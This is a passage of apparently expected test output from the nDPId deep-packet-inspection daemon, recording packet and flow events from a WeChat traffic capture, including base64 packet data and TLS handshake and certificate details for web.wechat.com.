+00425{"flow_id":41,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":871,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167618,"pkt_ts_usec":976798,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA02VZAAEAGO+7AqAFny82XotNgAbuDb2VpJ3bI\/oAQAOX3ugAAAQEICgAxva5F0qaC"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":874,"source":"wechat.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1492167619048,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54106,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":874,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167619,"pkt_ts_usec":48267,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0Dr9AAEAGBobAqAFny82XotNaAbub+DW+SvgsEIARAOUtjAAAAQEICgAxvcBFrgFX"} +00424{"flow_id":12,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":876,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167622,"pkt_ts_usec":380250,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0ePdAAEAGFxjAqAFnQOmnvIyxFGy60MyoSq1b+oAQAO3UVQAAAQEICgAxwQGFoOCz"} +00424{"flow_id":12,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":877,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167622,"pkt_ts_usec":434983,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0uEoAACsGLCVA6ae8wKgBZxRsjLFKrVv6utDMqYAQAWUzwAAAAQEICoWhkK8AL7Ej"} +00504{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":878,"source":"wechat.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1492167619048,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54106,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"}} +00477{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":878,"source":"wechat.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1492167619048,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54106,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":41,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":880,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167639,"pkt_ts_usec":304044,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0bxNAACwGuZHLzZeiwKgBZwG702Andsj+g29laYARAHDjOwAAAQEICkXSu3UAMb2u"} +00425{"flow_id":41,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":881,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167639,"pkt_ts_usec":304212,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA02VdAAEAGO+3AqAFny82XotNgAbuDb2VpJ3bI\/4AQAOXO7AAAAQEICgAx0YhF0rt1"} +00425{"flow_id":41,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":885,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167639,"pkt_ts_usec":887787,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA02VhAAEAGO+zAqAFny82XotNgAbuDb2VpJ3bI\/4ARAOXOWgAAAQEICgAx0hlF0rt1"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":886,"source":"wechat.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1492167639887,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54113,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":886,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167639,"pkt_ts_usec":887918,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8T5xAAEAGxaDAqAFny82XotNhAbttdZ2FAAAAAKACchD+DQAAAgQFtAQCCAoAMdIZAAAAAAEDAwc="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":887,"source":"wechat.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1492167640138,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54114,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":887,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167640,"pkt_ts_usec":138557,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8VUZAAEAGv\/bAqAFny82XotNiAbsbK4ceAAAAAKACchBmfwAAAgQFtAQCCAoAMdJYAAAAAAEDAwc="} +00436{"flow_id":43,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":889,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167640,"pkt_ts_usec":203151,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAACwGKJ3LzZeiwKgBZwG702Ea0aYHbXWdhqASN8gHqwAAAgQFoAQCCApF8injADHSGQEDAwc="} +00424{"flow_id":43,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":890,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167640,"pkt_ts_usec":203226,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0T51AAEAGxafAqAFny82XotNhAbttdZ2GGtGmCIAQAOVs9wAAAQEICgAx0mhF8inj"} +00751{"flow_id":43,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":891,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167640,"pkt_ts_usec":203667,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEiT55AAEAGxLjAqAFny82XotNhAbttdZ2GGtGmCIAYAOVdJQAAAQEICgAx0mhF8injFgMBAOkBAADlAwNTKUS2Efj261J+LE5stULB\/lzfBlOjyL3qEyuaPjoLLSDg0to5\/h\/p7gAXT1kViG+D6U7ulXWnLBXIcoeBXEekvwAgWlrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB8SkoAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAIKioAHQAXABi6ugABAA=="} +00722{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":891,"source":"wechat.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":4,"flow_first_seen":1492167639887,"flow_last_seen":1492167640203,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54113,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00425{"flow_id":41,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":892,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167640,"pkt_ts_usec":214427,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0+B5AACwGMIbLzZeiwKgBZwG702Andsj\/g29laoAQAHDN6wAAAQEICkXSvFkAMdIZ"} +00436{"flow_id":44,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":893,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167640,"pkt_ts_usec":450553,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAACwGKJ3LzZeiwKgBZwG702LyUvm4GyuHH6ASN8hErAAAAgQFoAQCCApF8iogADHSWAEDAwc="} +00425{"flow_id":44,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":894,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167640,"pkt_ts_usec":450646,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0VUdAAEAGv\/3AqAFny82XotNiAbsbK4cf8lL5uYAQAOWp+QAAAQEICgAx0qZF8iog"} +00424{"flow_id":43,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":895,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167640,"pkt_ts_usec":521509,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0jDpAACwGnGrLzZeiwKgBZwG702Ea0aYIbXWedIAQAHhsJwAAAQEICkXyKjIAMdJo"} +02343{"flow_id":43,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":896,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167640,"pkt_ts_usec":523427,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIjDtAACwGltXLzZeiwKgBZwG702Ea0aYIbXWedIAQAHiFDQAAAQEICkXyKjMAMdJoFgMDAF0CAABZAwOpnclgnMJRDF3ZiLpnTC4ta7TfKuCxUQBZwDuf6z48miBYxgzAaMyfJOk08sA4g8dg3UnK03IZIzAXShNAci3a7sAvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00779{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":896,"source":"wechat.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":6,"flow_first_seen":1492167639887,"flow_last_seen":1492167640523,"flow_tot_l4_data_len":1874,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54113,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00424{"flow_id":43,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":897,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167640,"pkt_ts_usec":523484,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0T59AAEAGxaXAqAFny82XotNhAbttdZ50GtGrnIAQAPtlvwAAAQEICgAx0rhF8ioz"} +02346{"flow_id":43,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":898,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167640,"pkt_ts_usec":523898,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIjDxAACwGltTLzZeiwKgBZwG702Ea0aucbXWedIAQAHjD\/gAAAQEICkXyKjMAMdJoi6AhOArffz9dJXvub9aMTE9m7GKRKeFA\/Frtrp0XYhX6JqYW8b5etQL4tC009s8jG\/TuF8dFm+8Qnv4WGTbK3wvSPN1JnNDQWe+joFVsTCgLSjZxmTivYWk1MKykcC3vkTLWMDBQxUwZd+bVuFy+Hg8Wo2jQzS71Re20zkF2fEkUE+GnA3Ez8ZEoMIVFfuZJTLyMwnZDYqRXtmKQLIXy6PQpFijtmZoXa3RaUholNnff2hQGO8247PV9f6R3KrjtNTdvAtNV8PNXxSymO5xp1cn7ghlbtsUCsdT2arvzaytmF1NYKThZAARTMIIETzCCAzegAwIBAgIDAjpvMA0GCSqGSIb3DQEBCwUAMEIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMRswGQYDVQQDExJHZW9UcnVzdCBHbG9iYWwgQ0EwHhcNMTMxMTA1MjEzNjUwWhcNMjIwNTIwMjEzNjUwWjBEMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjEdMBsGA1UEAxMUR2VvVHJ1c3QgU1NMIENBIC0gRzMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjvn4KhqPPa209K6GXrUkkTdd3uTR5CKWeop7eRxKSPX7qGYax6E89X\/fQp3eaWx8KA7UZU9ulIZRpY51qTJEMEEe+EfpshiW3qwRoQjgJZfAU2hme+msLq2LvjafvY3AjqK+B89FuiGdT7BKkKXWKp\/JXPaKDmJfyCn3U50NuMHhiIllZuHEnRaoPZsZVP\/oyFysxj0ag+mkUfJ2fWuLrM04QprPtd2PYw5703d95mnrU7t7dmszDt6ldzBE6B7tvl6QBI0eVH6N3+liSxsfQvc+TGEK3fveeZerVO8rtrMVwof7UEJrwEgRErBpbeFBFV0xvvYDLgVwts7x2oR5lAgMBAAGjggFKMIIBRjAfBgNVHSMEGDAWgBTAephojYn7qwVkDBF9qn1luMrMTjAdBgNVHQ4EFgQU0m\/3lvSFP3I8MH0j2oV4m6N8WnwwEgYDVR0TAQH\/BAgwBgEB\/wIBADAOBgNVHQ8BAf8EBAMCAQYwNgYDVR0fBC8wLTAroCmgJ4YlaHR0cDovL2cxLnN5bWNiLmNvbS9jcmxzL2d0Z2xvYmFsLmNybDAvBggrBgEFBQcBAQQjMCEwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nMi5zeW1jYi5jb20wTAYDVR0gBEUwQzBBBgpghkgBhvhFAQc2MDMwMQYIKwYBBQUHAgEWJWh0dHA6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9jcHMwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM5MA0GCSqGSIb3DQEBCwUAA4IBAQCg1Pcs+3QLf2TxzUNqn2JTHAJ8mJCi7k9o1CAacxI+d7NQ63K87oi+fxfqd4+DYZVPhKHLMk9sIb7SaZZ9Y73cK6gf0BOEcP72NZWJ+aZ3sEbIu7cT9clgadZM\/tKO79NgwYCA4ef7i28heUrg3Kkbwbf7w0lZXLV3B0TUl\/xJAIlvBk4BcBmsLxHA4uYPL4ZLjXvDuacu9PGsFj45SVGeF0tPEDpbpaiSb\/361gsDTUdWVxnzy2v189bPsPX1oxHSIFMTNDcFLENaY9+NQNaFHlHpURceA1bJ8TCt55sRornQMYGbaLHZ6PPmlH7HrhMvh+3QJbBo+d4IWvMpzNSSFgMDAU0MAAFJAwAXQQQAdCFM+z4Pj3h++LNkD49ZihRhKeOZguGplPPY68JOtUwDnXttZieII13qQKxtqyn32q+R2+1jkY8pOqvVI0bkBgEBAHBcPcRx"} +01312{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":898,"source":"wechat.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":8,"flow_first_seen":1492167639887,"flow_last_seen":1492167640523,"flow_tot_l4_data_len":3366,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":420,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54113,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","server_names":"webpush1.wechat.com,webpush.wechat.com,login.web.wechat.com,webpush.web.wechat.com,webpush2.wechat.com,webpush.web2.wechat.com,file.web2.wechat.com,web1.wechat.com,file.web.wechat.com,loginpoll.wechat.com,web2.wechat.com,login.wechat.com,login.web2.wechat.com,res.wechat.com,web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=GeoTrust Inc., CN=GeoTrust SSL CA - G3","issuerDN":"C=HK, ST=HongKong, L=Wan Chai, O=Tencent Mobility Limited, CN=web.wechat.com","alpn":"h2,http\/1.1","fingerprint":"4F:3B:6A:87:0C:D2:34:09:C9:53:9F:6F:EE:7D:7B:9B:E9:D6:EF:C1"}} +00424{"flow_id":43,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":899,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167640,"pkt_ts_usec":523937,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0T6BAAEAGxaTAqAFny82XotNhAbttdZ50GtGxMIAQARFgFQAAAQEICgAx0rhF8ioz"} +00776{"flow_id":43,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":900,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167640,"pkt_ts_usec":525014,"pkt_caplen":326,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":326,"pkt_l4_len":292,"pkt":"eJKcD6iO8IQvSpdgCABFoAE4jD1AACwGm2PLzZeiwKgBZwG702Ea0bEwbXWedIAYAHj7wQAAAQEICkXyKjMAMdJoxFwy3+pR7798L38aICm5PRXbvMTLd8bAytx20qUedNneLZhqqX+fas2jW9BTEa6+Y+g0FbaEsc0CdV0uSOiKWx8PESp808CDboG+hmz3XQR5H+kbrqgFqoLhOEegXLkTsLAzcdj8Mft7ftSP2tUH+bwMwlskUk2APWvNNtnGYXnJlN1Xx8DB5+yWP+B2cgJylQkcr4PeHueLkxI4HuHGGGlcCmmsodYm+yzlIityEkxJy2XMHEQJ+k2Zgz9YRaoV7ZAdbrc+xsmlSxnUNzA9OPMOR+gqYL50oTMcmTMwvAItw9y5XCKsP0JRZeI3o7TLpNb3qhcA8ChQZFMWAwMABA4AAAA="} +00425{"flow_id":43,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":901,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167640,"pkt_ts_usec":525046,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0T6FAAEAGxaPAqAFny82XotNhAbttdZ50GtGyNIAQAShe+QAAAQEICgAx0rlF8ioz"} +00596{"flow_id":43,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":902,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167640,"pkt_ts_usec":527605,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"8IQvSpdgeJKcD6iOCABFAACyT6JAAEAGxSTAqAFny82XotNhAbttdZ50GtGyNIAYASj2MgAAAQEICgAx0rlF8iozFgMDAEYQAABCQQSYqWHtZ8LgWlO15dh+fdJ3nqcBuUM8+tfxqz2jW8tfUye0eFFyRslXvQE7fsTpUszDWskMifZN48VBkuaCTdLHFAMDAAEBFgMDACgAAAAAAAAAAAVsrZYAUhs26PgMirptnxdGhmLSfoG067ZtHNOeFNxQ"} +00495{"flow_id":43,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":903,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167640,"pkt_ts_usec":841633,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"eJKcD6iO8IQvSpdgCABFoABnjD5AACwGnDPLzZeiwKgBZwG702Ea0bI0bXWe8oAYAHh4EgAAAQEICkXyKoIAMdK5FAMDAAEBFgMDACjNNFVdUvW9s8mTz+nzxahD1GvhgdlRv34kDHdsJx1G0tkwx3ap4Xwb"} +02114{"flow_id":43,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":904,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167640,"pkt_ts_usec":842751,"pkt_caplen":1306,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1306,"pkt_l4_len":1272,"pkt":"8IQvSpdgeJKcD6iOCABFAAUMT6NAAEAGwMnAqAFny82XotNhAbttdZ7yGtGyZ4AYASg0gwAAAQEICgAx0whF8iqCFwMDBNMAAAAAAAAAAfZ8pWGJ9Xhy9pAWnIbCJ9+mB\/KUJleQZZ3CBKTEaQum9+FgSGoxeY8cb+uPSGy6YwdWS6WDrEl2zrPesptuU7aug2IdMNteMgt+XlftKB\/ZUbvMkEV9w\/SdtlRfFeOYk0KYhiD\/j3YZIt4U3vU8Z0JCF5QxWhZ9mj6N8HIx3HPrAp+7hSrCHQ8zq9CGHkmY1dY6SULZByNhUclk2TwSZ5jrYUF4ZRZudhDRqFUKw2fHP01P7uGReCLSLbOsZj3UzspovOLaDnZV7FVIxRqeKMSugwaLtq1oJ0+ZS3sihC3CqeWXJ5rKrKsA\/PXbOu\/6P1slauYOGt8x+Z8jjKSOnOu7WPnDJFDhrDdQJbq\